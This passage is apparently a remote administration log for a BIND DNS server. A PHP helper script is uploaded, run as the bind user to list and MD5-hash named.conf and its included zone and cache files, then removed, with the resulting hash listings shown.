MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:34: Establishing a connection
2026-04-25 18:50:34: 

PUT: /tmp/pkp458486

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp458486; rm /tmp/pkp458486'

2026-04-25 18:50:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:38: Establishing a connection
2026-04-25 18:50:38: 

PUT: /tmp/pkp473338

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp473338; rm /tmp/pkp473338'

2026-04-25 18:50:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
